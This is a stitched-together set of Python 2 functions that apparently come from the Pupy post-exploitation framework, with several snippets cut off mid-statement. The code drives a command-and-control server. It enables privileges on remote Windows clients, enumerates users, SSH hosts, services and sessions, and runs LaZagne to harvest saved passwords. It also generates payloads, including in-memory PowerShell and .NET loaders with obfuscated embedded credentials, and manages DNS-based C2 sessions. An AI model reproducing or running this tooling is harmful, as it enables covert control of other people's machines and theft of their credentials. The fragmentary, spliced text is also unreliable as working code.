def run(self, args): if args.privileges: enable_privilege = self.client.remote('pupwinutils.security', 'EnablePrivilege', False) for privilege in args.privileges: try: enable_privilege(privilege) self.success('{} enabled'.format(privilege)) except Exception as e: self.error('{} was not enabled: {}'.format( privilege, e.args[1])) else: get_currents_privs = self.client.remote('pupwinutils.security', 'get_currents_privs', False) privs = get_currents_privs() content = [] for (privilege, enabled) in privs: color = 'grey' if enabled: color = 'green' content.append({ 'Privilege': Color(privilege, color), 'Enabled': Color(enabled, color) }) self.log( Table(content, ['Privilege', 'Enabled'], caption='Current priviliges'))
def make_fields(item): items = [] if args.time: date = datetime.utcfromtimestamp(item['date']) date_str = '' if date.date() == today: date_str = date.strftime('%H:%M:%S') elif date.date().year == today.year: date_str = date.strftime('%d/%m %H:%M:%S') else: date_str = date.strftime('%Y/%d/%m %H:%M:%S') items.append(Color(date_str, 'lightgrey')) msg = item['msg'] if not args.width: msg = ' '.join([x.strip() for x in msg.split('\n')]) if item.get('type') in ('CRITICAL', 'EMERGENCY', 'ALERT', 'ERROR'): msg = Color(msg, 'lightred') elif item.get('type') == 'WARNING': msg = Color(msg, 'lightyellow') elif item.get('type') == 'DEBUG': msg = Color(msg, 'grey') items.append(msg) return Line(*items)
def do(server, handler, config, args): logger = logging.getLogger(args.logger) if args.set_level or args.level: level = args.set_level or args.level logger.setLevel(level.upper()) handler.display(Success('Log level: {}: {}'.format(logger.name, level))) elif args.get_level: handler.display(Success('Log level: {}'.format( levelToString(logger.getEffectiveLevel())))) else: objects = [] for name, logger in logging.Logger.manager.loggerDict.iteritems(): if not hasattr(logger, 'getEffectiveLevel'): continue level = logger.getEffectiveLevel() color = levelToColor(level) objects.append({ 'LOGGER': Color(name, color), 'LEVEL': Color(levelToString(level), color) }) objects = sorted(objects, key=lambda x: x['LOGGER'].data) handler.display(Table(objects, ['LOGGER', 'LEVEL']))
def hosts(self, args): get_hosts = self.client.remote('ssh', 'ssh_hosts') records = get_hosts() if args.host: for user, hosts in records.iteritems(): for alias, host in hosts.iteritems(): if args.host == alias or args.host == host.get('hostname'): self.log( Table( [{ 'KEY': k, 'VALUE': ','.join(v) if type(v) == list else v } for k, v in host.iteritems()], ['KEY', 'VALUE'], Color('{}, user={}'.format(alias, user), 'yellow'))) else: for user, hosts in records.iteritems(): self.log( Table( [{ 'ALIAS': alias, 'USER': hosts[alias].get('user', user), 'HOST': hosts[alias]['hostname'], 'PORT': hosts[alias].get('port', 22), 'KEY': ','.join(hosts[alias].get( 'identityfile', [])) } for alias in hosts if 'hostname' in hosts[alias] and not alias == '*'], ['ALIAS', 'USER', 'HOST', 'PORT', 'KEY'], Color('User: {}'.format(user), 'yellow')))
def run(self, args): users = self.client.remote('pupyutils.users', 'users') users_list = users() objects = [] for user in users_list['users']: if user['admin']: color = 'lightred' elif 'Administrators' in user['groups'] or 'sudo' in user['groups']: color = 'lightyellow' else: color = 'white' objects.append({ 'C': u'➤' if users_list['current'] == user['name'] else '', 'NAME': Color(user['name'], color), 'GROUPS': Color(','.join(user['groups']), color), 'HOME': Color(user['home'], color) }) headers = ['C', 'NAME', 'HOME'] if args.groups: headers.insert(2, 'GROUPS') self.log(Table(objects, headers))
def do(server, handler, config, args): if args.add: name, args = args.add[0], args.add[1:] server.add_listener(name, ' '.join(args), motd=False) elif args.add_no_pproxy: name, args = args.add_no_pproxy[0], args.add_no_pproxy[1:] server.add_listener(name, ' '.join(args), motd=False, ignore_pproxy=True) elif args.remove: server.remove_listener(args.remove) elif args.list_transports: table = [] for name, transport in transports.iteritems(): color = None listener = None info = transport.info if name in server.listeners: color = 'lightgreen' listener = Color(str(server.listeners[name]), color) name = Color(name, color) info = Color(info, color) table.append({'NAME': name, 'INFO': info, 'ACTIVE': listener}) handler.display(Table(table, ['NAME', 'INFO', 'ACTIVE'])) else: for listener in server.listeners.itervalues(): handler.display(Success(listener))
def run(self, args): try: interfaces = self.client.remote('pupyps', 'interfaces') families = { int(k):v for k,v in self.client.remote_const( 'pupyps', 'families' ).iteritems() } data = interfaces() families = { int(x):y for x,y in families.iteritems() } objects = [] for addr, addresses in data['addrs'].iteritems(): if args.iface and addr not in args.iface: continue color = "" if 'stats' in data and data['stats']: if addr in data['stats'] and not data['stats'][addr].get('isup'): color = 'darkgrey' elif not any([families[x.get('family')] == 'INET' for x in addresses]): color = 'grey' else: color = 'white' record = {} record['K'] = Color(addr, color or 'cyan') first = True for address in addresses: if first: first = False else: record = {} record['K'] = '' record['F'] = Color(families[address.get('family')], color) V = Color(address.get('address', '').split('%')[0], color or 'yellow') if address.get('netmask') != 'None': V = Line(V, Color(address.get('netmask'), color)) V.dm = '/' if address.get('broadcast') != 'None': V = Line(V, Color('brd '+address.get('broadcast'), color)) record['V'] = Line(V) objects.append(record) self.log(Table(objects, ['K', 'F', 'V'], legend=False)) except Exception, e: logging.exception(e)
def pupygen(args, config, pupsrv, display): scriptlets = load_scriptlets(args.os, args.arch) if args.list: display(MultiPart([ Table([{ 'FORMAT': f, 'DESCRIPTION': d } for f,d in { 'client': 'generate client binary (linux/windows/apk/..)', 'py': 'fully packaged python file', 'py_oneliner': 'same as \'py\' format but served over http', 'ps1': 'generate ps1 file which embeds pupy dll (x86-x64) and inject it to current process', 'ps1_oneliner': 'load pupy remotely from memory with a single command line using powershell', 'csharp': 'generate C# source (.cs) that executes pupy', '.NET': 'compile a C# payload into a windows executable.', '.NET_oneliner': 'Loads .NET assembly from memory via powershell' }.iteritems()], ['FORMAT', 'DESCRIPTION'], Color('Available formats (usage: -f <format>)', 'yellow')), Table([{ 'TRANSPORT': name, 'DESCRIPTION': t.info } for name, t in transports.iteritems()], ['TRANSPORT', 'DESCRIPTION'], Color('Available transports (usage: -t <transport>)', 'yellow')), Table([{ 'SCRIPTLET': name, 'DESCRIPTION': sc.description, 'ARGS': '; '.join( '{}={}'.format(k,v) for k,v in sc.arguments.iteritems() ) } for name, sc in scriptlets.iteritems()], ['SCRIPTLET', 'DESCRIPTION', 'ARGS'], Color( 'Available scriptlets for {}/{} ' '(usage: -s <scriptlet>[,arg1=value1,arg2=value2]'.format( args.os or 'any', args.arch or 'any'), 'yellow')) ])) raise NoOutput() if args.workdir: os.chdir(args.workdir) script_code="" try: if args.scriptlet: script_code = pack_scriptlets( display, scriptlets, args.scriptlet, os=args.os, arch=args.arch, debug=args.debug_scriptlets) except ValueError, e: display(Error(e.message)) raise NoOutput()
def _format_multi(self, results, wide=False, remove=None): keys = [] values = [] legend = ['NAME', 'TYPE', 'VALUE'] if not remove: legend.insert(0, 'KEY') for record in results: is_key, key, rest = record[0], record[1], record[2:] if remove and key.startswith(remove): key = key[len(remove) + 1:] if is_key: keys.append(key) continue name, value, ktype = rest ktype = TYPES[ktype] color = TYPE_COLORS[ktype] if not wide and type(value) in (str, unicode): value = value.strip() values.append({ 'KEY': Color(key, color), 'NAME': Color(name, color), 'VALUE': Color(value if ktype != 'BINARY' else repr(value), color), 'TYPE': Color(ktype, color) }) results = [] if keys: results.append(List(keys, caption='{ Keys }')) if values: results.append(Table(values, legend, caption='Values')) if not keys and not values: self.log('Empty') else: results = MultiPart(results) if not wide: results = TruncateToTerm(results) self.log(results)
def run(self, args): users = self.client.remote('pupyutils.users', 'users') users_list = users() for user in users_list['users']: if user['admin']: color = 'lightred' elif 'Administrators' in user['groups'] or 'sudo' in user['groups']: color = 'lightyellow' else: color = 'white' if type(user['name']) == unicode: name = user['name'] else: name = user['name'].decode('utf-8') output = name if args.groups: output += u': ' + u','.join(user['groups']) if users_list['current'] == user['name']: output = u'➤ ' + output else: output = u' ' + output self.log(Color(output, color))
def gen_output_line(columns, info, record, wide=False): cpu = record.get('cpu_percent') or 0 mem = record.get('memory_percent') or 0 if record.get('self'): color = "green" elif cpu > 70 or mem > 50: color = "red" elif record.get('username') in ADMINS: if record.get('connections'): color = "magenta" else: color = "yellow" elif record.get('connections'): color = "cyan" elif not record.get('same_user'): color = "grey" else: color = None template = u' '.join(u'{{{}}}'.format(x) for x in info) columns = {k: to_string(v) for k, v in columns.iteritems()} output = template.format(**columns) if color: output = Color(output, color) if not wide: output = TruncateToTerm(output) return output
def run(self, args): is_linux = False if self.client.is_linux(): get_services = self.client.remote('services', 'get_services_systemd') is_linux = True elif self.client.is_windows(): get_services = self.client.remote('pupyps', 'get_win_services') else: raise ValueError('Unsupported target') services = get_services() columns = [('pid', 'PID'), ('name', 'SERVICE'), ('binpath', 'PATH')] if args.info: columns = [('pid', 'PID'), ('name', 'SERVICE'), ('username', 'USER'), ('binpath', 'PATH')] if args.display_name: columns = [ x if x[0] != 'name' else ('display_name', 'SERVICE') for x in columns ] data = [] for service in services: username = service.get('username') status = service.get('status') binpath = service.get('binpath') color = None if not status == 'running': if not args.all: continue color = 'grey' elif all([x not in binpath for x in LIKELY_KNOWN]) and not is_linux: color = 'cyan' if username.upper() in ADMINS: color = 'lightyellow' if color is not None: service = { k: Color(v if v is not None else '', color) for k, v in service.iteritems() } data.append(service) self.log(TruncateToTerm(Table(data, columns)))
def run(self, args): pupy = self.client.remote('pupy') active = obtain(pupy.manager.status) data = [] for task, state in active.iteritems(): color = 'grey' if state['active']: color = 'lightgreen' elif state['results']: color = 'cyan' data.append({ 'TASK': Color(task, color), 'ACTIVE': Color('Y' if state['active'] else 'N', color), 'RESULTS': Color('Y' if state['results'] else 'N', color), }) self.log(Table(data, ['TASK', 'ACTIVE', 'RESULTS']))
def run(self, args): get_last_events = self.client.remote('readlogs', 'get_last_events') today = datetime.now().date() def make_fields(item): items = [] if args.time: date = datetime.fromtimestamp(item['date']) date_str = '' if date.date() == today: date_str = Color(date.strftime('%H:%M:%S'), 'cyan') elif date.date().year == today.year: date_str = Color(date.strftime('%d/%m %H:%M:%S'), 'grey') else: date_str = Color(date.strftime('%Y/%d/%m %H:%M:%S'), 'lightgrey') items.append(date_str) if 'EventID' in item: items.append(Color(item['EventID'], 'green')) msg = item['msg'] if not args.width: msg = ' '.join([x.strip() for x in msg.split('\n')]) if item.get('type') in ('CRITICAL', 'EMERGENCY', 'ALERT', 'ERROR'): msg = Color(msg, 'lightred') elif item.get('type') == 'WARNING': msg = Color(msg, 'lightyellow') elif item.get('type') == 'DEBUG': msg = Color(msg, 'grey') items.append(msg) return Line(*items) for category, events in get_last_events(args.number, args.include, args.exclude, args.event_id, args.source).iteritems(): if not events: continue data = List([make_fields(x) for x in events], indent=0, bullet='+' if args.include or args.exclude else '', caption=Color('> ' + category, 'yellow')) if not args.width: data = TruncateToTerm(data) self.log(data)
def run(self, args): try: users = self.client.remote('pupyps', 'users') data = users() tablein = [] for user, hosts in reversed(sorted(data.iteritems())): for host, sessions in hosts.iteritems(): for session in sessions: color = "" if 'idle' in session: idle = session['idle'] color = "cyan" if idle < 10 * 60 else ( "grey" if idle > 60 * 60 * 24 else "") object = { 'HOST': Color(host, color), 'USER': Color( user, "yellow" if user in ADMINS else ("green" if session.get('me') else color)), 'LOGIN': Color( str( datetime.fromtimestamp( int(session['started']))), color), } if session.get('terminal'): if session.get('name'): what = '{} {}'.format( session['exe'] if session.get('exe') else ('{' + session.get('name') + '}'), ' '.join(session['cmdline'][1:] if session. get('cmdline') else '')) else: what = '' object.update({ 'IDLE': Color(str(timedelta(seconds=session['idle'])), color) if session.get('idle') else '', 'PID': Color(str(session.get('pid', '')), color), 'WHAT': Color( what[:30] + '…' if len(what) > 30 else what, color) }) tablein.append(object) self.table(tablein) except Exception, e: logging.exception(e)
def do(server, handler, config, modargs): pj = None args = modargs.arguments clients_filter = modargs.filter or handler.default_filter try: module = server.get_module( server.get_module_name_from_category(modargs.module)) except PupyModuleUsageError, e: prog, message, usage = e.args handler.display(Line(Error(prog+':'), Color(message, 'lightred'))) handler.display(usage)
def _run(self, args): db = Credentials(client=self.client, config=self.config) whole = self.client.remote('whole', 'to_strings_list', False) runLaZagne = self.client.remote('lazagne.config.run', 'run_lazagne', False) first_user = True passwordsFound = False kwargs = { 'raise_on_exception': False, } if args.category: kwargs['category_selected'] = args.category if args.password and self.client.is_windows(): kwargs['password'] = args.password results = obtain(whole(runLaZagne, **kwargs)) for r in results: if r[0] == 'User': if not passwordsFound and not first_user: self.warning('no passwords found !') first_user = False passwordsFound = False user = r[1] if type(user) == str: user = user.decode('utf-8', errors='replace') self.log( Color(u'\n########## User: {} ##########'.format(user), 'yellow')) elif r[2]: passwordsFound = True try: self.print_results(r[0], r[1], r[2], db) except Exception as e: self.error('{}: {}: {}'.format(r[1], e, traceback.format_exc())) if not passwordsFound: self.warning('no passwords found !')
def output_format(file, windows=False, archive=None): if file[T_TYPE] == 'X': return '--- TRUNCATED ---' name = to_utf8(file[T_NAME]) if archive: name += u' \u25bb ' + archive if windows: out = u' {}{}{}{}'.format( u'{:<10}'.format(file_timestamp(file[T_TIMESTAMP])), u'{:<3}'.format(file[T_TYPE]), u'{:<11}'.format(size_human_readable(file[T_SIZE])), u'{:<40}'.format(name)) else: out = u' {}{}{}{}{}{}{}'.format( u'{:<10}'.format(file_timestamp(file[T_TIMESTAMP])), u'{:<3}'.format(file[T_TYPE]), u'{:<5}'.format(file[T_UID]), u'{:<5}'.format(file[T_GID]), u' {:06o} '.format(file[T_MODE]), u'{:<11}'.format(size_human_readable(file[T_SIZE])), u'{:<40}'.format(name)) if archive: out=Color(out, 'yellow') elif file[T_TYPE] == 'D': out=Color(out, 'lightyellow') elif 'U' in file[T_SPEC]: out=Color(out, 'lightred') elif 'G' in file[T_SPEC]: out=Color(out, 'red') elif file[T_TYPE] == 'B': out=Color(out, 'grey') elif file[T_TYPE] == 'C': out=Color(out, 'grey') elif file[T_TYPE] == 'F': out=Color(out, 'cyan') elif file[T_TYPE] == 'S': out=Color(out, 'magenta') elif file[T_TYPE] == 'L': out=Color(out, 'grey') elif not file[T_SIZE]: out=Color(out, 'darkgrey') elif 'E' in file[T_SPEC]: out=Color(out, 'lightgreen') elif 'W' in file[T_SPEC] and not windows: out=Color(out, 'blue') return out
def generate_binary_from_template(display, config, osname, arch=None, shared=False, debug=False, bits=None, fmt=None, compressed=True): TEMPLATE_FMT = fmt or 'pupy{arch}{debug}{unk}.{ext}' ARCH_CONVERT = { 'amd64': 'x64', 'x86_64': 'x64', 'i386': 'x86', 'i486': 'x86', 'i586': 'x86', 'i686': 'x86', } TO_PLATFORM = { 'x64': 'intel', 'x86': 'intel' } TO_ARCH = { 'intel': { '32bit': 'x86', '64bit': 'x64' } } arch = arch.lower() arch = ARCH_CONVERT.get(arch, arch) if bits: arch = TO_ARCH[TO_PLATFORM[arch]] CLIENTS = { 'android': (get_edit_apk, 'pupy.apk', False), 'linux': (get_edit_binary, TEMPLATE_FMT, True), 'solaris': (get_edit_binary, TEMPLATE_FMT, True), 'windows': (get_edit_binary, TEMPLATE_FMT, False), } SUFFIXES = { 'windows': ('exe', 'dll'), 'linux': ('lin', 'lin.so'), 'solaris': ('sun', 'sun.so'), } osname = osname.lower() if osname not in CLIENTS.keys(): raise ValueError('Unknown OS ({}), known = '.format( osname, ', '.join(CLIENTS.keys()))) generator, template, makex = CLIENTS[osname] if '{arch}' in template and not arch: raise ValueError('arch required for the target OS ({})'.format(osname)) shared_ext = 'xxx' non_shared_ext = 'xxx' if osname in SUFFIXES: non_shared_ext, shared_ext = SUFFIXES[osname] debug_fmt = 'd' if debug else '' if shared: makex = False ext = shared_ext else: ext = non_shared_ext filename = template.format(arch=arch, debug=debug_fmt, ext=ext, unk='.unc' if not compressed else '') template = os.path.join( 'payload_templates', filename ) if not os.path.isfile(template): template = os.path.join( ROOT, 'payload_templates', filename ) if not os.path.isfile(template): raise ValueError('Template not found ({})'.format(template)) config_table = [{ 'KEY': k, 'VALUE': 'PRESENT' if (k in ('offline_script') and v) else ( unicode(v) if type(v) not in (tuple,list,set) else ' '.join( unicode(x) for x in v)) } for k,v in config.iteritems() if v] display(Table(config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1)) return generator(display, template, config, compressed, debug), filename, makex
caption = category if all(not x['resource'] for x in info['creds']): del columns[columns.index('resource')] cids = set(x['cid'] for x in info['creds']) if len(cids) == 1: del columns[columns.index('cid')] caption += ' (cid={})'.format(list(cids)[0]) if credtype in ('plaintext', 'hash') or all( len(x['secret']) <= 64 for x in info['creds']): handler.display(TruncateToTerm( Table(info['creds'], columns, caption=Color(caption, 'yellow')))) else: caption = Line('{', Color(caption, 'yellow'), '}') handler.display(caption) parts = [] for cred in info['creds']: line = [] for column in columns: if column == 'secret' or not cred[column]: continue line.append(Color(column+':', 'yellow')) line.append(Color(cred[column], 'lightyellow')) line.append(NewLine()) line.append(cred['secret'])
def do(server, handler, config, args): tables = [] if args.module: if handler.commands.has(args.module): command = handler.commands.get(args.module) tables.append( Line(Color('Command:', 'yellow'), Color(args.module + ':', 'green'), command.usage or 'No description')) if command.parser.add_help: tables.append(command.parser.format_help()) else: tables.append(command.parser.parse_args(['--help'])) for module in server.iter_modules(): if module.get_name().lower() == args.module.lower(): if module.__doc__: doc = module.__doc__.strip() else: doc = '' tables.append( Line(Color('Module:', 'yellow'), Color(args.module + ':', 'green'), doc.title().split('\n')[0])) if command.parser.add_help: tables.append(command.parser.format_help()) else: tables.append(command.parser.parse_args(['--help'])) clients = server.get_clients(handler.default_filter) if clients: ctable = [] for client in clients: compatible = module.is_compatible_with(client) ctable.append({ 'OK': Color('Y' if compatible else 'N', 'green' if compatible else 'grey'), 'CLIENT': Color(str(client), 'green' if compatible else 'grey') }) tables.append( Table(ctable, ['OK', 'CLIENT'], Color('Compatibility', 'yellow'), False)) for command, alias in config.items("aliases"): if command == args.module: tables.append( Line(Color('Alias:', 'yellow'), Color(args.module + ':', 'green'), alias)) else: commands = [] for command, description in handler.commands.list(): commands.append({'COMMAND': command, 'DESCRIPTION': description}) tables.append( Table(commands, ['COMMAND', 'DESCRIPTION'], Color('COMMANDS', 'yellow'))) if args.modules: modules = sorted(list(server.iter_modules()), key=(lambda x: x.category)) table = [] for mod in modules: compatible = all( mod.is_compatible_with(client) for client in server.get_clients(handler.default_filter)) compatible_some = any( mod.is_compatible_with(client) for client in server.get_clients(handler.default_filter)) if mod.__doc__: doc = mod.__doc__.strip() else: doc = '' category = mod.category name = mod.get_name() brief = doc.title().split('\n')[0] if compatible: pass elif compatible_some: category = Color(category, 'grey') name = Color(name, 'grey') brief = Color(brief, 'grey') else: category = Color(category, 'darkgrey') name = Color(name, 'darkgrey') brief = Color(brief, 'darkgrey') table.append({ 'CATEGORY': category, 'NAME': name, 'HELP': brief }) tables.append( TruncateToTerm( Table(table, ['CATEGORY', 'NAME', 'HELP'], Color('MODULES', 'yellow')))) else: aliased = [] for module, description in server.get_aliased_modules(): aliased.append({'MODULE': module, 'DESCRIPTION': description}) if aliased: tables.append( Table(aliased, ['MODULE', 'DESCRIPTION'], Color('ALIASED MODULES', 'yellow'))) aliases = [] for command, alias in config.items("aliases"): aliases.append({'ALIAS': command, 'COMMAND': alias}) if aliases: tables.append( Table(aliases, ['ALIAS', 'COMMAND'], Color('ALIASES', 'yellow'))) if not args.modules: tables.append( Line('Use', Color('help -M', 'green'), 'command to show all available modules')) handler.display(MultiPart(tables))
def do(server, handler, config, modargs): if modargs.global_reset: handler.default_filter = None handler.display(Success('Default filter reset to global')) elif modargs.interact: handler.default_filter = modargs.interact handler.display(Success('Default filter set to {}'.format( handler.default_filter))) elif modargs.kill: selected_client = server.get_clients(modargs.kill) if selected_client: try: selected_client[0].conn.exit() except Exception: pass elif modargs.drop: selected_client = server.get_clients(modargs.drop) if selected_client: try: selected_client[0].conn._conn.close() except Exception: pass elif modargs.dropall: clients = list(server.get_clients_list()) for client in clients: try: client.conn._conn.close() except Exception: pass elif modargs.killall: clients = server.get_clients_list() descriptions = [ x.desc for x in client_lis ] for description in descriptions: try: server.get_clients(description['id'])[0].conn.exit() except Exception: pass else: client_list = server.get_clients_list() if handler.default_filter: filtered_clients = server.get_clients(handler.default_filter) else: filtered_clients = client_list columns = [ 'id', 'user', 'hostname', 'platform', 'release', 'os_arch', 'proc_arch', 'intgty_lvl', 'address', 'tags' ] content = [] for client in client_list: color = 'white' if client in filtered_clients else 'darkgrey' data = { k:Color(v, color) for k,v in client.desc.iteritems() if k in columns } data.update({ 'tags': Color(config.tags(client.node()), color) }) content.append(data) handler.display(Table(content, columns))
def get_raw_conf(display, conf, obfuscate=False, verbose=False): credentials = Credentials(role='client') if "offline_script" not in conf: offline_script="" else: offline_script=conf["offline_script"] launcher = launchers[conf['launcher']]() launcher.parse_args(conf['launcher_args']) required_credentials = set(launcher.credentials) \ if hasattr(launcher, 'credentials') else set([]) transport = launcher.get_transport() transports_list = [] if transport: transports_list = [transport] if transports[transport].credentials: for name in transports[transport].credentials: required_credentials.add(name) elif not transport: for n, t in transports.iteritems(): transports_list.append(n) if t.credentials: for name in t.credentials: required_credentials.add(name) available = [] not_available = [] for cred in required_credentials: if credentials[cred]: available.append(cred) else: not_available.append(cred) display( List(available, bullet=Color('+', 'green'), caption=Success('Required credentials (found)'))) if not_available: display( List(not_available, bullet=Color('-', 'red'), caption=Error('Required credentials (not found)'))) embedded_credentials = '\n'.join([ '{}={}'.format(credential, repr(credentials[credential])) \ for credential in required_credentials if credentials[credential] is not None ])+'\n' if verbose: config_table = [{ 'KEY': k, 'VALUE': 'PRESENT' if (k in ('offline_script') and v) else ( unicode(v) if type(v) not in (tuple,list,set) else ' '.join( unicode(x) for x in v)) } for k,v in conf.iteritems() if v] display(Table(config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1)) config = '\n'.join([ 'pupyimporter.pupy_add_package({})'.format( repr(cPickle.dumps({ 'pupy_credentials.pye': bytes(pupycompile(embedded_credentials, obfuscate=True)) }))), dependencies.importer(set( 'network.transports.{}'.format(transport) for transport in transports_list ), path=ROOT), 'import sys', 'sys.modules.pop("network.conf", "")', 'import network.conf', 'LAUNCHER={}'.format(repr(conf['launcher'])), 'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])), 'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)), 'DELAYS={}'.format(repr(conf.get('delays', [ (10, 5, 10), (50, 30, 50), (-1, 150, 300)]))), 'pupy.cid = CONFIGURATION_CID', 'debug={}'.format(bool(conf.get('debug', False))), 'SCRIPTLETS={}'.format(repr(offline_script) if offline_script else '""') ]) return compress_encode_obfs(config) if obfuscate else config
def print_psinfo(fout, families, socktypes, data, colinfo, sections=[], wide=False): keys = ('id', 'key', 'PROPERTY', 'VAR', 'TYPE') sorter = lambda x, y: -1 if (x in keys and y not in keys) else (1 if ( y in keys and not x in keys) else cmp(x, y)) parts = [] for pid, info in data.iteritems(): if sections is not None: infosecs = {'general': []} for prop, value in info.iteritems(): if type(value) not in (list, dict): infosecs['general'].append({ 'PROPERTY': prop, 'VALUE': '{:3}%'.format(int(value)) if ('_percent' in prop) else value }) else: if prop == 'environ': maxvar = max(len(x) for x in value.iterkeys()) maxval = max(len(x) for x in value.itervalues()) infosecs[prop] = [{ 'VAR': x, 'VALUE': y } for x, y in value.iteritems()] continue elif prop == 'connections': newvalue = [] for connection in value: newvalue.append({ 'status': connection['status'], 'raddr': ':'.join([str(x) for x in connection['raddr']]), 'laddr': ':'.join([str(x) for x in connection['laddr']]), 'family': families[connection['family']], 'type': socktypes[connection['type']], }) infosecs[prop] = newvalue continue elif prop == 'memory_maps': filtered = ('path', 'rss', 'size') elif prop == 'memory_info': infosecs[prop] = [{ 'TYPE': item['KEY'], 'SIZE': size_human_readable(item['VALUE']) } for item in value] continue else: filtered = None infosecs[prop] = [{ k: v for k, v in item.iteritems() if filtered is None or k in filtered } for item in (value if type(value) == list else [value])] if sections: for section in sections: section = section.lower() if section in infosecs: labels = sorted(infosecs[section][0], cmp=sorter) parts.append( TruncateToTerm( Table(infosecs[section], labels, Color(section.upper(), 'yellow')))) else: for section, table in infosecs.iteritems(): labels = sorted(table[0], cmp=sorter) parts.append( TruncateToTerm( Table(table, labels, Color(section.upper(), 'yellow')))) fout(MultiPart(parts)) else: outcols = ['pid'] + [ x for x in ('cpu_percent', 'memory_percent', 'username', 'exe', 'name', 'cmdline') if x in colinfo ] info['pid'] = pid columns = gen_columns(info, colinfo) fout(gen_output_line(columns, outcols, info, wide) + '\n')
def print_module_title(self, module): self.log( Color( u'\n------------------- {} -------------------'.format(module), 'yellow')) self.log(NewLine())
elif args.command == 'extra': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Error('No sessions found')) return elif len(sessions) > 1: handler.display(Error('Selected more than one sessions')) return session = sessions[0] if session.online_status: handler.display('\nONLINE STATUS\n') objects = [{ 'KEY': Color(k.upper().replace('-', ' '), 'green' if session.online_status[k] else 'lightyellow'), 'VALUE': Color( str(session.online_status[k]).upper(), 'green' if session.online_status[k] else 'lightyellow') } for k in [ 'online', 'igd', 'hotspot', 'dns', 'ntp', 'direct-dns', 'http', 'https', 'https-no-cert', 'https-mitm', 'proxy', 'transparent-proxy', 'stun', 'mintime', 'ntp-offset' ]] handler.display(Table(objects, ['KEY', 'VALUE'])) handler.display('\nPASTES STATUS\n') objects = [{ 'KEY': Color(k, 'green' if v else 'lightyellow'),
def do(server, handler, config, args): if not server.dnscnc: handler.display(Error('DNSCNC disabled')) return if args.command == 'status': policy = handler.dnscnc.policy objects = { 'DOMAIN': server.dnscnc.dns_domain, 'DNS PORT': str(server.dnscnc.dns_port), 'RECURSOR': server.dnscnc.dns_recursor, 'LISTEN': str(server.dnscnc.dns_listen), 'SESSIONS': 'TOTAL={} DIRTY={}'.format(server.dnscnc.count, server.dnscnc.dirty), 'POLL': '{}s'.format(policy['interval']), 'TIMEOUT': '{}s'.format(policy['timeout']), 'KEX': '{}'.format(bool(policy['kex'])), } handler.display( Table([{ 'PROPERTY': k, 'VALUE': v } for k, v in objects.iteritems()], ['PROPERTY', 'VALUE'])) if server.dnscnc.commands: handler.display('\nDEFAULT COMMANDS:\n' + '\n'.join([ '{:03d} {}'.format(i, cmd) for i, cmd in enumerate(server.dnscnc.commands) ])) if server.dnscnc.node_commands: handler.display('\nNODE DEFAULT COMMANDS:') for node, commands in server.dnscnc.node_commands.iteritems(): handler.display('\n' + '\n'.join([ '{:03d} {}: {}'.format( i, '{:012x}'.format(node) if type(node) == int else node, cmd) for i, cmd in enumerate(commands) ])) elif args.command == 'info': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Success('No active DNSCNC sesisons found')) return objects = [] sort_by = None if args.o: sort_by = lambda x: x.system_info['os'] + x.system_info['arch'] elif args.i: sort_by = lambda x: x.system_info['external_ip'] elif args.n: sort_by = lambda x: x.system_info['node'] elif args.c: sort_by = lambda x: x.system_status['cpu'] elif args.m: sort_by = lambda x: x.system_status['mem'] elif args.l: sort_by = lambda x: x.system_status['listen'] elif args.e: sort_by = lambda x: x.system_status['remote'] elif args.u: sort_by = lambda x: x.system_status['users'] elif args.x: sort_by = lambda x: x.system_status['idle'] elif args.t: sort_by = lambda x: str(sorted(config.tags(x.system_info['node']))) if sort_by: sessions = sorted(sessions, key=sort_by, reverse=bool(args.r)) for idx, session in enumerate(sessions): if not (session.system_status and session.system_info): continue object = { '#': '{:03d}'.format(idx), 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'IP': session.system_info['external_ip'] or '?', 'OS': '{}/{}'.format(session.system_info['os'], session.system_info['arch']), 'CPU': '{:d}%'.format(session.system_status['cpu']), 'MEM': '{:d}%'.format(session.system_status['mem']), 'LIS': '{:d}'.format(session.system_status['listen']), 'EST': '{:d}'.format(session.system_status['remote']), 'USERS': '{:d}'.format(session.system_status['users']), 'IDLE': '{}'.format(session.system_status['idle']), 'TAGS': '{}'.format(config.tags(session.system_info['node'])) } pupy_session = None for c in server.clients: if 'spi' in c.desc: if c.desc['spi'] == '{:08x}'.format(session.spi): pupy_session = c.desc['id'] elif c.node() == '{:012x}'.format(session.system_info['node']): pupy_session = c.desc['id'] break if pupy_session: object.update({'P': pupy_session}) color = '' if (session.online_status or session.egress_ports or session.open_ports): color = 'cyan' elif session.system_status['cpu'] > 90 or session.system_status[ 'mem'] > 90: color = 'lightred' elif (session.pstore_dirty): color = 'magenta' elif not session.system_status['idle']: color = 'lightyellow' elif pupy_session: color = 'lightgreen' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'NODE', 'SESSION', 'IP', 'OS', 'CPU', 'MEM', 'LIS', 'EST', 'USERS', 'IDLE', 'TAGS' ] handler.display(Table(objects, columns)) elif args.command == 'sessions': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Success('No active DNSCNC sesisons found')) return objects = [] sort_by = None if args.b: sort_by = lambda x: x.system_info['boottime'] elif args.o: sort_by = lambda x: x.system_info['os'] + x.system_info['arch'] elif args.i: sort_by = lambda x: x.system_info['external_ip'] elif args.d: sort_by = lambda x: x.duration elif args.c: sort_by = lambda x: x.commands elif args.n: sort_by = lambda x: x.system_info['node'] if sort_by: sessions = sorted(sessions, key=sort_by, reverse=bool(args.r)) for idx, session in enumerate(sessions): object = { '#': idx, 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'EXTERNAL IP': '{}'.format( session.system_info['external_ip'] or '?' ), 'ONLINE': '{}'.format( 'Y' if session.system_info['internet'] else 'N' ), 'IDLE': '{}s'.format(session.idle), 'DURATION': '{}s'.format(session.duration), 'OS': '{}/{}'.format( session.system_info['os'], session.system_info['arch'] ), 'BOOTED': '{}s'.format( session.system_info['boottime'].ctime()) if \ session.system_info['boottime'] else '?', 'CMDS': '{}'.format(len(session.commands)) } pupy_session = None for c in server.clients: if 'spi' in c.desc: if c.desc['spi'] == 